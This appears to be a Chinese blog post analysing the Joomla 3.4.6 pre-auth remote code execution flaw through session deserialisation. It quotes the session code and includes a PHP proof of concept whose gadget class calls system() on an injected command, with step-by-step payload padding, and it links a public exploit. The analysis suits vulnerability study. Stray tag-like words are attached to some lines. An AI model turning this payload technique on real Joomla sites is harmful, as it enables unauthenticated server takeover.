0x00 前言php
今天早上看到了国内几家安全媒体发了Joomla RCE漏洞的预警,漏洞利用的EXP也在Github公开了。我大体看了一眼描述,以为是个挺有意思的漏洞,所以有了这篇分析的文章,其实这个漏洞的分析老外在博客中也写过了,本质上这是一个Session反序列化致使的RCE漏洞,因为Joomla对于Session的特殊处理,致使漏洞触发并不须要登录。所以成了Pre-auth RCE.mysql
0x01 漏洞环境搭建 git
代码下载: https://github.com/joomla/joomla-cms/releases/tag/3.4.6
下载安装就好,要求php 5.3.10 以上,其余跟着提示走就ok 。github
0x02 漏洞原理分析sql
PHP对Session的存储是默认放在文件中,当有活动会话产生使用到Session时候,将会在服务端php设置好的路径写入一个文件,文件的内容为默认序列化处理器序列化后的数据。在Joomla中则改变了PHP的默认处理规则,将序列化以后的数据存放在数据库中,这步操做对应的处理函数为\libraries\joomla\session\storage\database.php 中的write:shell
/** * Write session data to the SessionHandler backend. * * @param string $id The session identifier. * @param string $data The session data. * * @return boolean True on success, false otherwise. * * @since 11.1 */ public function write($id, $data) { // Get the database connection object and verify its connected. $db = JFactory::getDbo(); $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); try { $query = $db->getQuery(true) ->update($db->quoteName('#__session')) ->set($db->quoteName('data') . ' = ' . $db->quote($data)) ->set($db->quoteName('time') . ' = ' . $db->quote((int) time())) ->where($db->quoteName('session_id') . ' = ' . $db->quote($id)); // Try to update the session data in the database table. $db->setQuery($query); if (!$db->execute()) { return false; } /* Since $db->execute did not throw an exception, so the query was successful. Either the data changed, or the data was identical. In either case we are done. */ return true; } catch (Exception $e) { return false; } }
这里我故意将注释也贴出来,很明显做者的注释意思也写得十分明确。而后取值的时候使用的操做对应的函数是read:数据库
/** * Read the data for a particular session identifier from the SessionHandler backend. * * @param string $id The session identifier. * * @return string The session data. * * @since 11.1 */ public function read($id) { // Get the database connection object and verify its connected. $db = JFactory::getDbo(); try { // Get the session data from the database table. $query = $db->getQuery(true) ->select($db->quoteName('data')) ->from($db->quoteName('#__session')) ->where($db->quoteName('session_id') . ' = ' . $db->quote($id)); $db->setQuery($query); $result = (string) $db->loadResult(); $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result); return $result; } catch (Exception $e) { return false; } }
从代码中能够看出,在存入数据库以前,会将传入数据中的chr(0) . '*' . chr(0) 替换为\0\0\0, 缘由是mysql数据库没法处理NULL字节,而protected 修饰符修饰的字段在序列化以后是以\x00\x2a\x00开头的。而后从数据库中取出来的时候,再将字符进行替换还原,防止没法正常反序列化。json
可是这样会致使什么样的问题呢?咱们首先须要了解一下PHP的序列化机制,PHP在序列化数据的过程当中,若是序列化的字段是一个字符串,那么将会保留该字符串的长度,而后将长度写入到序列化以后的数据,反序列化的时候按照长度进行读取。那么结合上边说到的问题,若是写入数据库的时候,是\0\0\0, 取出来的时候将会变成chr(0) . '*' . chr(0), 这样的话,入库的时候生成的序列化数据长度为6(\0\0\0), 取出来的时候将会成为3(N*N, N表示NULL),这样在反序列化的时候,若是按照原先的长度读取,就会致使后续的字符被吃掉!那这样有什么问题呢?这里须要简单说一下PHP反序列化的特色,PHP按照长度读取指定字段的值,读取完成以分号结束,接着开始下一个,若是咱们可以控制两个字段的值,第一个用来吃掉第一个字段和第二个字段中间的部分,第二个字段用来构造序列化利用的payload,那么执行将会把第一个字段开头的部分到第二个字段开始的为止当成第一个字段的内容,第二个字段内容逃逸出来被反序列化!!安全
说了这么多,对于理解这个漏洞已经足够了,所以我写了一个伪代码来帮助理解:session
<?php // pop 利用链 class Evil { public $cmd; public function __construct($cmd) { $this->cmd = $cmd; } public function __destruct() { // var_dump($this->cmd); system($this->cmd); } } // 模拟真实的登录处理逻辑 class User { public $username; public $password; public function __construct($username, $password) { $this->username = $username; $this->password = $password; } // public function __destruct() { // var_dump($this->username); // var_dump($this->password); // } } function write($id, $data) { $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); $arr = array($id => $data); file_put_contents("db.txt", json_encode($arr)); } function read($id) { $data = file_get_contents("db.txt"); $result = json_decode($data, true); $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result[$id]); return $result; } // 发送的username 值 $username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0"; $password = 'AAAA";'; // padding // 构造一个fake password字段,将其内容设置为一个恶意构造的对象 $shellcode = 's:8:"password";O:4:"Evil":1:{s:3:"cmd";s:4:"calc";}'; $password = $password . $shellcode; write("123", serialize(new User($username, $password))); var_dump(unserialize(read("123"))); ?>
我将这里的write和read函数简化,数据库操做部分使用文件代替,重点咱们解释一下payload的构造部分:
这里使用9组\0\0\0做为第一个参数username的值,这样的话,长度将会是54,反序列化处理时候将会变成27,吃掉后续的27个字符才是username的值。
O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:7:"payload";}
";s:8:"password";s:7:" 的长度为22,\0处理完成后自己会剩下27,这样的话一共是49,还会吃掉5个字符,咱们应该补5个。可是并非这样,所以这里我写
的password的值是payload,长度是7,实际上咱们的payload长度会超过10,所以生成的序列化数据就不是0-9一位数了,至少是两位数,我这里的测试案例
是恰好两位数。所以补4个字符就能够了。接着是后续的payload.关于payload的查找和利用能够参考老外的文章,这里再也不赘述。
接着还有最后一个问题,反序列化触发点在哪里?这里又牵扯到Joomla的一个特性,一个未登录的用户若是进行登录,那么他的登录信息也会被序列化以后存入到数据库之中。
所以这里选择登录框进行攻击!
最后贴上一张伪代码测试成功的图:

Joomla中详细的处理流程和代码分析我就不写了,本身动手调试吧~~
0x03 参考资料
1. https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=412. https://raw.githubusercontent.com/momika233/Joomla-3.4.6-RCE/master/Joomla-3.4.6-RCE.py